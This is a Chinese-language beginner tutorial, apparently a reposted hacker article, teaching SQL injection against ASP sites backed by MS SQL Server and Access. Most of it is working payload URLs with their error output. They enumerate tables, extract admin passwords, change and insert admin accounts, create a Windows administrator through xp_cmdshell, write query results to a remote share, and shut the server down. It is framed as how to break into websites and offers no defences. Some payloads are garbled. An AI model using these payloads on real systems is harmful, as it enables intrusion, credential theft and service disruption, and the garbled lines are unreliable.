新手必看-SQL注入详解

网上有很多高手GG们写利用SQL注入如何去黑网站WebSite偶看了嘿嘿
不过可能对于些初学者而且有点难在这里小林想把这个过时
东东作次全面交待尽量让没有编程基础DDMM们很快拿握这门技术
利用SQL进行添加更改查看记录

台主机台开了80端口当你手头没有任何黑客工具那么偶们有SQL
他不需要你其他东东只要个浏览器就够了HOHO文章菜菜偶写这
篇文章只是为了让些对SQL很陌生菜菜们看老鸟绕道

1什么是SQL注入?

SQL注入就是利用欺骗方式通过网页查询功能或查询命令注入
当用户来到网站WebSite会提交些数据再到数据库进行查询确定此用户身份
举个简单例子来说吧你去个站点论坛那么你会输入你用户名和
密码点"确定"网站WebSite会通过数据库查询来判断你是不是他们用户
用户名和密码是否正确而利用SQL注入通过构造特殊语句来查找我
们所想要得到信息如管理员帐号密码以下小林用了http://xxx.xxx.com
来表示个存在注入漏洞网页


2助手篇
先把IE菜单-工具-Internet选项-高级-显示友好 HTTP 信息前面勾去掉
否则不论服务器返回什么我们都只能看到"HTTP 500服务器"不能获得更多提示信息




3哪些网页能利用?
我们去找些要提交数据网页如:登陆页面查找页面添加页面等
找到后如果你注意过网页源代码那么你会发现他上面般有个如下表单:

<FORM action=login.asp method=post>
<input ........
</FORM>

这些网页后缀如asp,jsp,cgiphp网页
如:http://xxx.xxx.com/index.asp?id=10
上面这个例子就是ASP页后看到他ID还值了吗?是10我们找就是这些页面
来练手了(要做个好人噢(^_^)像小林好人)

4如何测试它是存在注入漏洞呢?这步偶称它为"踩点"
小林有个毛病看什么网页就要顺手在参数(如上面10)上加个小小引号
http://xxx.xxx.com/index.asp?id=10'
返回信息:

Microsoft OLE DB Provider for SQL Server '80040e14'

串 '' 的前有未闭合引号

/job/grxx.asp行141

这就是说他用是MsSQL数据库这个引号导致引号未闭合本身就是错
通常个整数是不用在SQL里加引号

如果他不是个整数而是字母呢?

http://xxx.xxx.com/index.asp?user=lamb

那我们就把引号放到lamb中间如lam'b
呵呵又出错了吧?

这介绍说明站点这部分代码是大有问题(当然就算他有源码公布在网上我也懒得看)

当然我们也可以提交:
http://xxx.xxx.com/index.asp?id=10 ;AND columnaaa=5 (注这里columnaaa是我乱写)
出现信息:

Microsoft OLE DB Provider for ODBC Drivers '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name 'columnaaa'.

/job/grxx.asp行27
这介绍说明这是个SQL里面没有columnaaa这个字段(我习惯说"列")

利用出错信息我们现在多少了解了这个站点服务了吧?

5现在开工啦偶不喜欢猜测他字段名太浪费TIME了我们要想办法让数据查询中出错
要产生让它自己报出数据库里让我们用用SQL语法GROUP BY 或HAVING如:

http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1--

出现信息:
Microsoft OLE DB Provider for ODBC Drivers '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'article.sid' is invalid in the

select list because it is not contained in an aggregate function and there is no GROUP BY

clause.

/more.asp行27

看到article.sid了吗?介绍说明有个叫article.sid你在用HAVING所以你必须还要用

上GROUP BY于是黑客就重复提交直到没有得到
这里要介绍说明下:分号在这里分离%20 是空格--表示后面是个注释也就是说只是介绍说明不能去

执行代码(*_*)

下面是具体例子:

提交:
http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1--
得到article.sid这真是好东西
提交:
http://xxx.xxx.com/job/grxx.asp?id=23%20group%20by%20article.sid%20having%201=1--
得到信息:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'article.title' is invalid in the

select list because it is not contained in either an aggregate function or the GROUP BY

clause.

/more.aspline 20

得到:
article.title
我们反复地个加上来提交
得到信息:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'adm.userName' is invalid in the

select list because it is not contained in either an aggregate function or the GROUP BY

clause.

/more.aspline 56

这里要注意了都到哪儿了?到下个表了
现在我们知道这里至少有2个表他们别名是:adm和article如里面article对应是:sid等

title

利用系统表:

下面我们要确定表名来加入数据
系统表是MS-SQL 2000部分名叫sysObjects table我们将要用到查询union select,
要从SysObjects table 有天地拿到表名般使用下面语句:
select name FROM sysObjects where xtype='U' U是指明定议USER
黑客们已经知道了表里
现在他们能在下面加些数字甚至如下面:

在地址栏里打入:

http://xxx.xxx.com/job/grxx.asp?id=23%20union%20ALL%20select% ;
201,2,3,4,5,6,name%20FROM%20sysObjects%20where%20xtype='U'--
记住上面1-6数据中6是我们想要不过有时候会出现数据类型

http://xxx.xxx.com/job/grxx.asp?id=23%20select ;TOP 1 TABLE_NAME FROM

INFORMATION_SCHEMA.TABLES--

MS SQL服务将试图去转换 (nvarchar)到eger那么就会出错:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

'table1' to a column of data type .
/index.asp, line 5

这个信息很"友好"地告诉我们 (nvarchar)值不能被转换成eger
这样我们就获得了数据表个表名!这个表名就是tabel1


要获得第 2个表名我们继续用以下查询:
http://xxx.xxx.com/job/grxx.asp?id=23%20union ;select TOP 1 TABLE_NAME FROM

INFORMATION_SCHEMA.TABLES where TABLE_NAME NOT IN ('table1')--

也可以用关键字查找数据:
http://xxx.xxx.com/job/grxx.asp?id=23 ;union select TOP 1 TABLE_NAME FROM

INFORMATION_SCHEMA.TABLES where TABLE_NAME like '%25ADMIN%25'--
现在信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

'admin_login' to a column of data type .
/index.asp, line 5

寻找和的匹配'%25ADMIN%25'在SQL服务器上将被认作 %ADMIN%这样我们就能获得符合标
表名为"admin_login"表了

那么如何获得表里所有列表?

我们能利用另个有用东东INFORMATION_SCHEMA.COLUMNS 出场!!!
http://xxx.xxx.com/job/grxx.asp?id=23 ;union select TOP 1 COLUMN_NAME FROM

INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin_login'--

现在信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

'u_id' to a column of data type .
/index.asp, line 6
我们有了第个字段我们用NOT IN 来获得下个字段名:
http://xxx.xxx.com/job/grxx.asp?id=23 ;union select TOP 1 COLUMN_NAME FROM

INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin_login' where COLUMN_NAME NOT IN

('u_id')--
现在信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

'u_name' to a column of data type .
/index.asp, line 5
我们继续获得其他列表如:"password"等我们获得下面信息:
http://xxx.xxx.com/job/grxx.asp?id=23 ;union select TOP 1 COLUMN_NAME FROM

INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin_login' where COLUMN_NAME NOT IN

('u_id','u_name','password',contents')--
现在信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select

list the statement contains a union operator.
/index.asp, line 5
62 如何找到我们要找重要数据呢?
现在我们知道了表名字段名我们用相同思路方法收集我们要在数据库里信息
现在我们从"admin_login" 表里取得第个u_name :
http://xxx.xxx.com/job/grxx.asp?id=23 ;union select TOP 1 u_name FROM admin_login--
现在信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

'adminroot' to a column of data type .
/index.asp, line 5


我们知道这里有登陆用户名叫 "adminroot"管理员最后从数据库里获得"adminroot" 密码

:
http://xxx.xxx.com/job/grxx.asp?id=23 ;union select TOP 1 password FROM admin_login where

u_name='adminroot'--
现在信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

'root' to a column of data type .
/index.asp, line 5
我们现在能用户名"adminroot"密码:"root"登陆了


如何取得数字值?

以上技术描述有有局限性当我们试图转换文本组成有效数字0-9我们不能得到任何
让我们说说如何获得"tony"密码密码是 "19840217":
http://xxx.xxx.com/job/grxx.asp?id=23 ;union select TOP 1 password FROM admin_login where

u_name='tony'--
我们很可能发现该页无法显示这结果表示密码"19840217"被修改到个数了在整
个整型(10 也是)这是个有效整合所以SQL服务就不会给出提示了
我们就得不到数字登陆了
要解决这个问题我们能附加些字母来测试转换失败我们用以下测试来代替:
http://xxx.xxx.com/job/grxx.asp?id=23 ;union select TOP 1 convert(,

password%2b'%20lambgirl') FROM admin_login where u_name='tony'--

我们简单地利用加号+设置密码数据文件搜索路径随便加ASSCII码'+' = 0x2b
我们将添加空格在密码里所以如果把我们密码是'19840217'他将变成'19840217 lambgirl'.
调出了转换了试着将'19840217 lambgirl'转变成整型SQL服务将出现ODBC:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

'19840217 lambgirl' to a column of data type .
/index.asp, line 5
现在你就能用'tony'和密码:'19840217 lambgirl'了


如何在数据库修改插入数据?
当我们成功地获得了表名字段就很容易在数据库里修改甚至插入新数据如更改"adminroot"
密码我们

http://xxx.xxx.com/job/grxx.asp?id=23 ;update 'admin_login' SET 'password' = 'pas5' where

u_name='adminroot'--

要在数据表里插入新记录

http://xxx.xxx.com/job/grxx.asp?id=23 ;insert INTO 'admin_login' ('u_id', 'u_name',

'password', 'contents') valueS (123,'xiaolin','pas','lambgirl')--
现在我们就能用xiaolin pas 来登陆了


如何远程执行SQL漏洞?

能进行SQL注入命令表明我们能查任何我们想要查默认安装MS SQL服务
在系统中权限等于管理员我们能利用执行存储过程像xp_cmdshell 来执行远程破坏:
'; exec master..xp_cmdshell 'ping 192.168.0.2'--

(如果单引号不能用就换成双引号)

分号表示结束前面SQL查询从而允许你开始另个新SQL命令
为了检验命令成功执行你可以监听从192.168.0.2发出ICMP包查看是否发出包

#tcpdump icmp
如果你没有接到PING主机回应得到提示权限那么很可能管理员
限制了WEB用户对xp_cmdshell 等权限

如何找出MYSQL查询结果?
这很容易用sp_makewebtask来把你查询结果放到个HTML里:
'; EXEC master..sp_makewebtask "\\192.168.0.2\share\girlxiaolin.html", "select * FROM

INFORMATION_SCHEMA.TABLES"
但是目标IP必须共享文件夹


http://xxx.xxx.com/job/grxx.asp?id=23 ;;exec master..xp_cmdshell "net user name
password /add"--

xp_cmdshell 用于系统命令于是用net命令新建了用户名为name、密码为password
windows帐号接着:
http://xxx.xxx.com/job/grxx.asp?id=23 ;;exec master..xp_cmdshell "net localgroup name

administrators /add"--
将新建帐号name加入管理员组不过这种思路方法只于用sa连接数据库情况否则没有权限

xp_cmdshell

其他方面如利用SQL命令填写:
将使SQL服务快速关闭
用户名: '; shutdown with nowait; --
密码: 不填

导致严重问题网络故障
用户名: '; exec master..xp_cmdshell 'iisre'; --
密码:不填

有关ACCESS部分

和ASSQL差不了多少也是先在http://xxx.xxx.com/index.asp?id=10'

出错继续提交:
先测试是否有ADMIN表
http://xxx.xxx.com/index.asp?id=10 and 0<>(select count(*) from admin)

http://xxx.xxx.com/index.asp?id=10 and 1=(select count(*) from admin)
没有就换个名字如user啊什么再猜里面是否有username这个字段.

and 1=(select count(*) from admin where len(username)>0)
如果出错同理我们也可以给它换个名字
接下来我们猜用户具体名字
and 1=(select count(*) from admin where left(username,1)=l)
这时我们可以个地来猜
and 1=(select count(*) from admin where left(username,2)=la)
接下来猜密码猜密码道理同猜用户名
and 1=(select count(*) from admin where left(password,1)=l)


 



  • 篇文章: IDS+Honeypot=骇客克星

  • 篇文章: DLL释放型后门特征码修改
  • Tags: 

    延伸阅读

    最新评论

    发表评论